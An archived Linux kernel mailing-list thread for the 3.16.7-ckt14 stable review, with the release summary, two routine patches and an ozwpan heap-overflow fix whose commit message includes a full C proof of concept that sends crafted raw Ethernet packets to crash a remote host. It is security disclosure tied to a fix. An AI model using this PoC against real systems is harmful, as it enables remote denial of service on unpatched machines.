Groups > linux.kernel > #1172018 > unrolled thread

[3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review

Started by	Luis Henriques <luis.henriques@canonical.com>
First post	2015-06-25 12:10 +0200
Last post	2015-06-25 12:20 +0200
Articles	20 on this page of 58 — 1 participant

Back to article view | Back to linux.kernel

  [3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 47/71] btrfs: cleanup orphans while looking up default subvolume Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 62/71] iser-target: Fix variable-length response error completion Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 13/71] ozwpan: Use unsigned ints to prevent heap overflow Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 01/71] iio: adis16400: Report pressure channel scale Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 15/71] ozwpan: unchecked signed subtraction leads to DoS Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 70/71] drm/radeon: fix freeze for laptop with Turks/Thames GPU. Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 61/71] block: fix ext_dev_lock lockdep report Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 14/71] ozwpan: divide-by-zero leading to panic Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 50/71] iommu/vt-d: Allow RMRR on graphics devices too Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 56/71] Input: synaptics - add min/max quirk for Lenovo S540 Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 10/71] usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 46/71] btrfs: incorrect handling for fiemap_fill_next_extent return Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 55/71] pata_octeon_cf: fix broken build Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 65/71] drm/mgag200: Reject non-character-cell-aligned mode widths Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 67/71] crypto: caam - improve initalization for context state saves Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 57/71] drm/i915: Fix DDC probe for passive adapters Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 51/71] iommu/vt-d: Fix passthrough mode with translation-disabled devices Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 68/71] crypto: caam - fix RNG buffer cache alignment Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 12/71] ozwpan: Use proper check to prevent heap overflow Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 63/71] iser-target: release stale iser connections Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 54/71] irqchip: sunxi-nmi: Fix off-by-one error in irq iterator Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 71/71] Revert "tools/vm: fix page-flags build" Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 11/71] ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 69/71] tracing: Have filter check for balanced ops Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 59/71] mm/memory_hotplug.c: set zone->wait_table to null after freeing it Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 66/71] crypto: caam - fix uninitialized state->buf_dma field Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 52/71] ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 60/71] ring-buffer-benchmark: Fix the wrong sched_priority of producer Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 64/71] ALSA: hda - adding a DAC/pin preference map for a HP Envy TS machine Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:10 +0200
    [PATCH 3.16.y-ckt 35/71] net: dp83640: fix broken calibration routine. Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 36/71] net: dp83640: reinforce locking rules. Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 29/71] scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 30/71] thermal: step_wise: Revert optimization Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 20/71] Input: elantech - fix detection of touchpads where the revision matches a known rate Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 37/71] unix/caif: sk_socket can disappear when state is unlocked Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 24/71] USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 21/71] ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 28/71] kconfig: Fix warning "‘jump’ may be used uninitialized" Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 23/71] ALSA: usb-audio: fix missing input volume controls in MAYA44 USB(+) Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 31/71] MIPS: KVM: Do not sign extend on unsigned MMIO load Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 38/71] xen/netback: Properly initialize credit_bytes Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 27/71] xfrm: fix a race in xfrm_state_lookup_byspi Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 42/71] bridge: disable softirqs around br_fdb_update to avoid lockup Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 39/71] udp: fix behavior of wrong checksums Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 22/71] ALSA: usb-audio: add MAYA44 USB+ mixer control names Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 41/71] ipv4/udp: Verify multicast group is ours in upd_v4_early_demux() Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 40/71] xen: netback: read hotplug script once at start of day. Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 43/71] drm/i915: Assume dual channel LVDS if pixel clock necessitates it Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 44/71] Btrfs: send, add missing check for dead clone root Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 33/71] net: core: Correct an over-stringent device loop detection. Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 34/71] net: phy: Allow EEE for all RGMII variants Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 32/71] arch/x86/kvm/mmu.c: work around gcc-4.4.4 bug Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 18/71] x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 48/71] Drivers: hv: vmbus: Add support for VMBus panic notifier handler Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 25/71] Input: elantech - add new icbody type Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 26/71] MIPS: Fix enabling of DEBUG_STACKOVERFLOW Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200
    [PATCH 3.16.y-ckt 45/71] Btrfs: send, don't leave without decrementing clone root's send_progress Luis Henriques <luis.henriques@canonical.com> - 2015-06-25 12:20 +0200

Page 1 of 3 [1] 2 3 Next page →

#1172018 — [3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review
Message-ID	<pFcgx-5Bx-7@gated-at.bofh.it>

This is the start of the review cycle for the Linux 3.16.7-ckt14 stable kernel.

This version contains 71 new patches, summarized below.  The new patches are
posted as replies to this message and also available in this git branch:

http://kernel.ubuntu.com/git/ubuntu/linux.git/log/?h=linux-3.16.y-review

git://kernel.ubuntu.com/ubuntu/linux.git  linux-3.16.y-review

The review period for version 3.16.7-ckt14 will be open for the next three days.
To report a problem, please reply to the relevant follow-up patch message.

For more information about the Linux 3.16.y-ckt extended stable kernel version,
see https://wiki.ubuntu.com/Kernel/Dev/ExtendedStable .

 -Luis

--
 arch/mips/kernel/irq.c                  |  2 +-
 arch/mips/kvm/kvm_mips_emul.c           |  2 +-
 arch/x86/include/asm/segment.h          | 14 +++++++++--
 arch/x86/kernel/head64.c                |  2 +-
 arch/x86/kernel/head_32.S               | 33 ++++++++++++++------------
 arch/x86/kernel/head_64.S               | 20 ++++++++--------
 arch/x86/kvm/mmu.c                      | 14 +++++------
 block/genhd.c                           | 12 +++++-----
 drivers/ata/ahci_mvebu.c                |  2 +-
 drivers/ata/pata_octeon_cf.c            |  2 +-
 drivers/crypto/caam/caamhash.c          |  3 +++
 drivers/crypto/caam/caamrng.c           |  2 +-
 drivers/gpu/drm/i915/intel_dp.c         |  5 ++--
 drivers/gpu/drm/i915/intel_i2c.c        | 20 +++++++++++++---
 drivers/gpu/drm/i915/intel_lvds.c       |  8 ++++++-
 drivers/gpu/drm/mgag200/mgag200_mode.c  |  5 ++++
 drivers/gpu/drm/radeon/radeon_device.c  | 15 ++++++++++++
 drivers/hv/hyperv_vmbus.h               | 11 +++++++++
 drivers/hv/vmbus_drv.c                  | 35 ++++++++++++++++++++++++++++
 drivers/iio/adc/twl6030-gpadc.c         |  2 +-
 drivers/iio/imu/adis16400.h             |  2 ++
 drivers/iio/imu/adis16400_buffer.c      | 27 ++++++++++++++--------
 drivers/iio/imu/adis16400_core.c        | 41 +++++++++++++++++++++++----------
 drivers/infiniband/ulp/isert/ib_isert.c | 24 ++++++++++++++++---
 drivers/input/mouse/elantech.c          |  8 ++++---
 drivers/input/mouse/synaptics.c         |  7 +++++-
 drivers/iommu/intel-iommu.c             | 20 +++++++++++-----
 drivers/irqchip/irq-sunxi-nmi.c         |  2 +-
 drivers/net/phy/dp83640.c               | 19 +++++++++++++--
 drivers/net/phy/phy.c                   |  6 +++--
 drivers/net/xen-netback/xenbus.c        | 34 ++++++++++++++++-----------
 drivers/staging/ozwpan/ozhcd.c          |  8 +++----
 drivers/staging/ozwpan/ozusbif.h        |  4 ++--
 drivers/staging/ozwpan/ozusbsvc1.c      | 19 +++++++++++----
 drivers/thermal/step_wise.c             |  3 ---
 drivers/tty/n_tty.c                     | 17 +++++++++++---
 drivers/tty/serial/imx.c                |  8 +++++++
 drivers/usb/dwc3/core.h                 |  4 ++--
 drivers/usb/serial/cp210x.c             |  1 +
 drivers/usb/serial/ftdi_sio.c           |  1 +
 drivers/usb/serial/ftdi_sio_ids.h       |  1 +
 drivers/virtio/virtio_pci.c             |  1 +
 fs/btrfs/extent_io.c                    |  5 +++-
 fs/btrfs/send.c                         |  7 +++---
 fs/btrfs/super.c                        |  9 ++++++++
 kernel/trace/ring_buffer_benchmark.c    |  2 +-
 kernel/trace/trace_events_filter.c      |  9 ++++++--
 lib/strnlen_user.c                      |  3 ++-
 mm/memory_hotplug.c                     |  4 +++-
 net/bridge/br_fdb.c                     |  2 ++
 net/caif/caif_socket.c                  |  8 +++++++
 net/core/dev.c                          |  2 +-
 net/ipv4/udp.c                          | 24 +++++++++++++------
 net/ipv6/udp.c                          |  6 ++---
 net/unix/af_unix.c                      |  8 +++++++
 net/wireless/wext-compat.c              |  2 ++
 net/xfrm/xfrm_state.c                   |  2 +-
 scripts/kconfig/menu.c                  |  4 ++--
 scripts/sortextable.h                   |  2 +-
 sound/pci/hda/patch_realtek.c           |  1 +
 sound/pci/hda/patch_sigmatel.c          | 25 ++++++++++++++++++++
 sound/usb/mixer.c                       | 10 ++++----
 sound/usb/mixer_maps.c                  |  5 ++++
 tools/vm/Makefile                       |  2 +-
 64 files changed, 451 insertions(+), 157 deletions(-)

Aaro Koskinen (1):
      pata_octeon_cf: fix broken build

Adam Jackson (1):
      drm/mgag200: Reject non-character-cell-aligned mode widths

Andrew Morton (1):
      arch/x86/kvm/mmu.c: work around gcc-4.4.4 bug

Andy Lutomirski (1):
      x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers

Axel Lin (2):
      iio: adc: twl6030-gpadc: Fix modalias
      irqchip: sunxi-nmi: Fix off-by-one error in irq iterator

Chengyu Song (1):
      btrfs: incorrect handling for fiemap_fill_next_extent return

Clemens Ladisch (2):
      ALSA: usb-audio: add MAYA44 USB+ mixer control names
      ALSA: usb-audio: fix missing input volume controls in MAYA44 USB(+)

Dan Williams (1):
      block: fix ext_dev_lock lockdep report

David Woodhouse (2):
      iommu/vt-d: Allow RMRR on graphics devices too
      iommu/vt-d: Fix passthrough mode with translation-disabled devices

Eric Dumazet (1):
      udp: fix behavior of wrong checksums

Filipe Manana (2):
      Btrfs: send, add missing check for dead clone root
      Btrfs: send, don't leave without decrementing clone root's send_progress

Florian Fainelli (1):
      net: phy: Allow EEE for all RGMII variants

Gu Zheng (1):
      mm/memory_hotplug.c: set zone->wait_table to null after freeing it

Hans de Goede (1):
      Input: elantech - fix detection of touchpads where the revision matches a known rate

Horia Geanta (1):
      crypto: caam - fix uninitialized state->buf_dma field

Hui Wang (1):
      ALSA: hda - adding a DAC/pin preference map for a HP Envy TS machine

Ian Campbell (1):
      xen: netback: read hotplug script once at start of day.

James Hogan (1):
      MIPS: Fix enabling of DEBUG_STACKOVERFLOW

Jan Kara (1):
      lib: Fix strnlen_user() to not touch memory after specified maximum

Jani Nikula (1):
      drm/i915: Fix DDC probe for passive adapters

Jason A. Donenfeld (4):
      ozwpan: Use proper check to prevent heap overflow
      ozwpan: Use unsigned ints to prevent heap overflow
      ozwpan: divide-by-zero leading to panic
      ozwpan: unchecked signed subtraction leads to DoS

Jean Delvare (1):
      thermal: step_wise: Revert optimization

Jeff Mahoney (1):
      btrfs: cleanup orphans while looking up default subvolume

Jiang Liu (1):
      virtio_pci: Clear stale cpumask when setting irq affinity

Jim Bride (1):
      drm/i915/hsw: Fix workaround for server AUX channel clock divisor

Johannes Berg (1):
      cfg80211: wext: clear sinfo struct before calling driver

John D. Blair (1):
      USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle

Jérôme Glisse (1):
      drm/radeon: fix freeze for laptop with Turks/Thames GPU.

Lars-Peter Clausen (2):
      iio: adis16400: Report pressure channel scale
      iio: adis16400: Fix burst transfer for adis16448

Laura Abbott (1):
      n_tty: Fix auditing support for cannonical mode

Li RongQing (1):
      xfrm: fix a race in xfrm_state_lookup_byspi

Luis Henriques (1):
      Revert "tools/vm: fix page-flags build"

Lukas Wunner (1):
      drm/i915: Assume dual channel LVDS if pixel clock necessitates it

Mark Salyzyn (1):
      unix/caif: sk_socket can disappear when state is unlocked

Nadav Haklai (1):
      ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting

Nicholas Mc Guire (1):
      MIPS: KVM: Do not sign extend on unsigned MMIO load

Nick Meier (2):
      Drivers: hv: vmbus: Add support for VMBus panic notifier handler
      Drivers: hv: vmbus: Correcting truncation error for constant HV_CRASH_CTL_CRASH_NOTIFY

Nikolay Aleksandrov (1):
      bridge: disable softirqs around br_fdb_update to avoid lockup

Patrick Riphagen (1):
      USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board

Paul Cercueil (3):
      iio: adis16400: Use != channel indices for the two voltage channels
      iio: adis16400: Compute the scan mask from channel indices
      iio: adis16400: Fix burst mode

Peter Hutterer (1):
      Input: synaptics - add min/max quirk for Lenovo S540

Peter Kümmel (1):
      kconfig: Fix warning "‘jump’ may be used uninitialized"

Philipp Zabel (1):
      serial: imx: Fix DMA handling for IDLE condition aborts

Richard Cochran (2):
      net: dp83640: fix broken calibration routine.
      net: dp83640: reinforce locking rules.

Ross Lagerwall (1):
      xen/netback: Properly initialize credit_bytes

Sachin Kamat (1):
      iio: adis16400: Remove unused variable

Sagi Grimberg (2):
      iser-target: Fix variable-length response error completion
      iser-target: release stale iser connections

Shawn Bohrer (1):
      ipv4/udp: Verify multicast group is ours in upd_v4_early_demux()

Steve Cornelius (2):
      crypto: caam - improve initalization for context state saves
      crypto: caam - fix RNG buffer cache alignment

Steven Rostedt (1):
      tracing: Have filter check for balanced ops

Subbaraya Sundeep Bhatta (1):
      usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros

Takashi Iwai (1):
      ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420

Tim Gardner (1):
      scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized

Vlad Yasevich (1):
      net: core: Correct an over-stringent device loop detection.

Wang Long (1):
      ring-buffer-benchmark: Fix the wrong sched_priority of producer

Wolfram Sang (1):
      ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion

洪一竹 (1):
      Input: elantech - add new icbody type
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [next] | [standalone]

#1172019 — [PATCH 3.16.y-ckt 47/71] btrfs: cleanup orphans while looking up default subvolume

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 47/71] btrfs: cleanup orphans while looking up default subvolume
Message-ID	<pFcgy-5Bx-37@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jeff Mahoney <jeffm@suse.com>

commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.

Orphans in the fs tree are cleaned up via open_ctree and subvolume
orphans are cleaned via btrfs_lookup_dentry -- except when a default
subvolume is in use.  The name for the default subvolume uses a manual
lookup that doesn't trigger orphan cleanup and needs to trigger it
manually as well. This doesn't apply to the remount case since the
subvolumes are cleaned up by walking the root radix tree.

Signed-off-by: Jeff Mahoney <jeffm@suse.com>
Reviewed-by: David Sterba <dsterba@suse.cz>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 fs/btrfs/super.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c
index 8e16bca69c56..600035120ca3 100644
--- a/fs/btrfs/super.c
+++ b/fs/btrfs/super.c
@@ -902,6 +902,15 @@ find_root:
 	if (IS_ERR(new_root))
 		return ERR_CAST(new_root);
 
+	if (!(sb->s_flags & MS_RDONLY)) {
+		int ret;
+		down_read(&fs_info->cleanup_work_sem);
+		ret = btrfs_orphan_cleanup(new_root);
+		up_read(&fs_info->cleanup_work_sem);
+		if (ret)
+			return ERR_PTR(ret);
+	}
+
 	dir_id = btrfs_root_dirid(&new_root->root_item);
 setup_root:
 	location.objectid = dir_id;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172020 — [PATCH 3.16.y-ckt 62/71] iser-target: Fix variable-length response error completion

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 62/71] iser-target: Fix variable-length response error completion
Message-ID	<pFcgx-5Bx-19@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Sagi Grimberg <sagig@mellanox.com>

commit 9253e667ab50fd4611a60e1cdd6a6e05a1d91cf1 upstream.

Since commit "2426bd456a6 target: Report correct response ..."
we might get a command with data_size that does not fit to
the number of allocated data sg elements. Given that we rely on
cmd t_data_nents which might be different than the data_size,
we sometimes receive local length error completion. The correct
approach would be to take the command data_size into account when
constructing the ib sg_list.

Signed-off-by: Sagi Grimberg <sagig@mellanox.com>
Signed-off-by: Jenny Falkovich <jennyf@mellanox.com>
Signed-off-by: Nicholas Bellinger <nab@linux-iscsi.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/infiniband/ulp/isert/ib_isert.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/drivers/infiniband/ulp/isert/ib_isert.c b/drivers/infiniband/ulp/isert/ib_isert.c
index 31939ba1d238..8a02eb55bc67 100644
--- a/drivers/infiniband/ulp/isert/ib_isert.c
+++ b/drivers/infiniband/ulp/isert/ib_isert.c
@@ -2487,7 +2487,6 @@ isert_build_rdma_wr(struct isert_conn *isert_conn, struct isert_cmd *isert_cmd,
 	page_off = offset % PAGE_SIZE;
 
 	send_wr->sg_list = ib_sge;
-	send_wr->num_sge = sg_nents;
 	send_wr->wr_id = (unsigned long)&isert_cmd->tx_desc;
 	/*
 	 * Perform mapping of TCM scatterlist memory ib_sge dma_addr.
@@ -2506,14 +2505,17 @@ isert_build_rdma_wr(struct isert_conn *isert_conn, struct isert_cmd *isert_cmd,
 			 ib_sge->addr, ib_sge->length, ib_sge->lkey);
 		page_off = 0;
 		data_left -= ib_sge->length;
+		if (!data_left)
+			break;
 		ib_sge++;
 		pr_debug("Incrementing ib_sge pointer to %p\n", ib_sge);
 	}
 
+	send_wr->num_sge = ++i;
 	pr_debug("Set outgoing sg_list: %p num_sg: %u from TCM SGLs\n",
 		 send_wr->sg_list, send_wr->num_sge);
 
-	return sg_nents;
+	return send_wr->num_sge;
 }
 
 static int
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172021 — [PATCH 3.16.y-ckt 13/71] ozwpan: Use unsigned ints to prevent heap overflow

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 13/71] ozwpan: Use unsigned ints to prevent heap overflow
Message-ID	<pFcgy-5Bx-25@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c upstream.

Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
